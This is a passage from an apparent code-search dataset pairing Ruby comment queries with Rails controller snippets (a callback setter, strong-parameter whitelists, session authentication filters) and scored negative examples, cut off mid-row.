query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Use callbacks to share common setup or constraints between actions.
|
def set_article
@article = ::Article.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def _handle_action_missing(*args); end"
] |
[
"0.6164095",
"0.6046031",
"0.5945298",
"0.59179014",
"0.58890367",
"0.58341795",
"0.5776118",
"0.5700777",
"0.5700777",
"0.5656277",
"0.56218207",
"0.5423995",
"0.5411516",
"0.5411516",
"0.5411516",
"0.5395004",
"0.53783494",
"0.53593004",
"0.53412604",
"0.534078",
"0.5332865",
"0.53135896",
"0.52999926",
"0.5297309",
"0.5296569",
"0.5261449",
"0.5247048",
"0.52376497",
"0.52376497",
"0.52376497",
"0.52376497",
"0.52376497",
"0.52323204",
"0.52310973",
"0.523081",
"0.5225785",
"0.5219039",
"0.52136266",
"0.5208033",
"0.520763",
"0.5177365",
"0.5175224",
"0.5173357",
"0.5166104",
"0.5162502",
"0.51573396",
"0.5154547",
"0.5153531",
"0.51502854",
"0.51436496",
"0.5142863",
"0.51330835",
"0.5115634",
"0.5115634",
"0.511527",
"0.5109693",
"0.51076853",
"0.5093146",
"0.5090683",
"0.50829846",
"0.50819314",
"0.50670373",
"0.5055505",
"0.5053398",
"0.50504035",
"0.50504035",
"0.5037765",
"0.5027292",
"0.5024484",
"0.50150335",
"0.5014069",
"0.50022113",
"0.5001542",
"0.49981874",
"0.49915564",
"0.49915564",
"0.49880967",
"0.4982312",
"0.49787375",
"0.49786067",
"0.49687737",
"0.49676532",
"0.49602765",
"0.49565676",
"0.49550772",
"0.495342",
"0.49522525",
"0.49463704",
"0.49447197",
"0.49362713",
"0.49328062",
"0.49280638",
"0.49272856",
"0.4927058",
"0.49221697",
"0.4919526",
"0.49185994",
"0.49184805",
"0.49170163",
"0.49168405",
"0.49167764"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def article_params
params.require(:article).permit(
:title, :description, :published, :published_at, :photo
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
for controllers aside from session management where a session_key is expected, call :authenticate method as a before_action
|
def authenticate
authenticate_token || render_unauthorized
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end",
"def authenticate(_)\n super(session_params)\n end",
"def login_required\n authenticate_user! \n end",
"def authenticate\n # puts _process_action_callbacks.map(&:filter)\n # if current_user\n # session['user_id'] = current_user.id\n # true\n # else\n # session[:return_to] = request.original_url\n # respond_to do |format|\n # format.html { redirect_to login_url }\n # format.any(:xml,:json) { request_http_basic_authentication }\n # end\n # false\n # end\n true\n end",
"def before_request\n self.login if require_login? && !@authenticating\n end",
"def authenticate\n redirect_to(root_path) unless session[:username]\n end",
"def authenticate!\n redirect_to login_path unless session[:username]\n end",
"def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_invalid_token and return\n end\n else\n render_error_user_not_signed_in and return\n end\n end",
"def authenticate\n authenticated_session || render_unauthorized\n end",
"def authenticate\n if sesssion[:user_id].nil?\n redirect_to login_path, notice: \"You must log in first.\"\n end\n end",
"def authenticate_user\n unless session[:user_id]\n #If there's no user_id in the current session the user is redirected to the login page.\n redirect_to(:controller => 'sessions', :action => 'login')\n return false\n else\n #If there is a current user_id in the session @current_user will receive the User business object corresponding to\n #that ID.\n @current_user = User.find session[:user_id]\n return true\n end\n end",
"def authenticate!\n not_authorized() unless logged_in?()\n end",
"def authenticate\n user = nil\n user = User.find_by_id(session[:user_id]) if session[:user_id].present?\n if !user.present?\n session[:user_id] = nil\n flash[:alert] = \"You must be logged in to access this page\"\n redirect_to login_path(:return_to => request.fullpath)\n end\n end",
"def require_authentication\n\n # No matter what the app does a user can always login, forgot\n # password and register. The controllers provided by this\n # plugin alreaddy have these controllers/actions on an\n # exception list but this prevents a mistake an overridden\n # controller from preventing the normal login behavior.\n %w(session password user).each do |c|\n \t %w(new create).each do |a|\n return if (controller_name == c) && (action_name == a)\n end\n \t end\n\n # If we cannot get the current user store the requested page\n # and send them to the login page.\n if current_user.nil? or current_user.anonymous?\n redirect_to login_url(:return_to => request.url) and false\n end\n end",
"def authenticate!\n\t #when we solve the require relative problem write the line: unless session[:user_id] && User.where(id: session[:user_id])\n\n\t\tif session[:user_id] && User.where(id: session[:user_id]).exists? #if the user id saved in session does not belong to any user, also direct to general homepage\n\t\t\ttrue\n\t\telse\n\t\t\tsession[:original_request] = request.path_info\n\t\t\tfalse\n\t\tend\nend",
"def authenticate\n unless session[:user_id]\n session['return_url'] = request.url\n logger.debug request.url\n # Recreate user abilities on each login\n @current_ability = nil\n redirect_to polymorphic_url(:new_user_session)\n end\n end",
"def authenticate_user\n if session[:user_id]\n # set current user object to @current_user object variable\n puts \"===============================================auth_if==============================================\"\n @current_user = User.find session[:user_id]\n return true\n else\n puts \"===============================================auth_else==============================================\"\n redirect_to(:controller => 'welcome', :action => 'index')\n return false\n end\n end",
"def authorize\n @logged_in_user = User.find(session[:user_id])\n rescue\n reset_session\n @logged_in_user = nil\n if User.find(:all).length > 0\n session[:jumpto] = request.parameters\n redirect_to :controller => 'authentication', :action => :login and return false\n else\n redirect_to :controller => 'authentication', :action => :setup and return false\n end\n end",
"def authenticate\n # Note: testing depends on the fact that 'authenticated' means having the\n # session['uid'] and session['timeout'] set appropriately. Make sure to\n # change AuthenticatedControllerTest if this is changed.\n if !session_expired? && logged_in?\n refresh_timeout # renew timeout for this session\n @current_user = current_user\n else\n # cleanup expired session stuff\n clear_session\n cookies.delete :auth_token\n reset_session\n\n session[:redirect_uri] = request.fullpath # save current uri\n\n # figure out how we want to explain this to users\n if session_expired?\n flash[:login_notice] = I18n.t('main.session_expired')\n else\n flash[:login_notice] = I18n.t('main.please_log_in')\n end\n\n if request.xhr? # is this an XMLHttpRequest?\n # Redirect users back to referer, or else\n # they might be redirected to an rjs page.\n session[:redirect_uri] = request.referer\n head :forbidden # 403\n else\n redirect_to controller: 'main', action: 'login'\n end\n end\n end",
"def authenticate_and_load_user\n \t@logged_in_user = User.where(id:session[:user_id]).first\n\n \tif @logged_in_user.nil?\n \t\tflash[:error] = 'You must be authenticated to visit this page'\n \t\t# Save the user's intended destination in the session, so we can\n \t\t# take them there once they've logged in.\n \t\tsession[:requested_fullpath] = request.fullpath\n \t\tredirect_to controller:'public', action:'login'\n \t\tfalse # return false to prevent execution of controller methods\n \telse\n \t\ttrue\n \tend\n end",
"def authenticate!\n session_token = @_env['rack.session'][:session_token]\n session = SessionRepository.by_token(session_token).first\n\n if session and !session.expired?\n user = UserRepository.find session.user_id\n\n if user\n @current_session = session\n @current_user = user\n @authenticated = true\n end\n end\n end",
"def authenticate\n authenticate_token || render_unauthorized\nend",
"def authenticate\n unless logged_in?\n redirect_to login_url\n end\n end",
"def login_from_session\nself.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\nend",
"def authenticate!\n if params.has_key?(:login)\n # The user is attempting to authenticate via params. Ignore the current user.\n user = User.authenticate(params[:login], params[:password])\n if user\n sign_in(user)\n else\n unless current_user\n if Rails.env.production?\n # display a cryptic 404\n render_404\n else\n render(:text => \"Authenticating via params failed\", :status => :unauthorized)\n end\n end\n end\n else\n # Try the current user.\n unless current_user\n if Rails.env.production?\n render_404\n else\n render(:text => \"No session, no authentication params\", :status => :unauthorized)\n end\n end\n end\n end",
"def authenticate_user\n if session[:user_id].blank?\n redirect_to root_path\n end\n end",
"def authenticate_user\n# save current page for redirection after login\n redirect_to controller: :user, action: :login unless logged_in? \n current_user\n end",
"def require_authentication\r\n\r\n return true if session_user\r\n\r\n # per security audit, don't even show the login form if admin was requested...take 'em home\r\n if params[:controller] =~ /^admin/i\r\n logger.debug \"Admin request from unauthenticated session, sending to homepage.\" if logger.debug?\r\n redirect_to home_url\r\n else\r\n logger.debug \"Session not authenticated, sending to login screen.\" if logger.debug?\r\n # respond based on the type of request: normal, XHR, etc.\r\n if request.xhr?\r\n render :update do |page|\r\n page.redirect_to login_url(:protocol => 'https://')\r\n end\r\n else\r\n redirect_to login_url(:protocol => 'https://', :redirect_to => request.request_uri)\r\n end\r\n end\r\n\r\n # return false to prevent any other filters from executing\r\n false\r\n end",
"def authentication_required\n if !logged_in?\n redirect_to login_path\n end\n end",
"def login\n \tauthenticate(params)\n end",
"def authenticate_by_key\n @user = User.find_by_api_key(params[:key])\n if (@user.nil?)\n render :text => \"Unable to authenticate using key \" + params[:key]\n end\n logger.debug \"User by token : \" + @user.login unless @user.nil?\n # now we can use all the candy from Redmine\n User.current = @user\n end",
"def authenticate\n redirect_to login_path if !logged_in\n end",
"def authenticate!\n redirect '/sessions/new' unless logged_in?\nend",
"def authenticate\n unless session[:loggedin]\n redirect_to :action => 'login'\n return false\n end\n return true\n end",
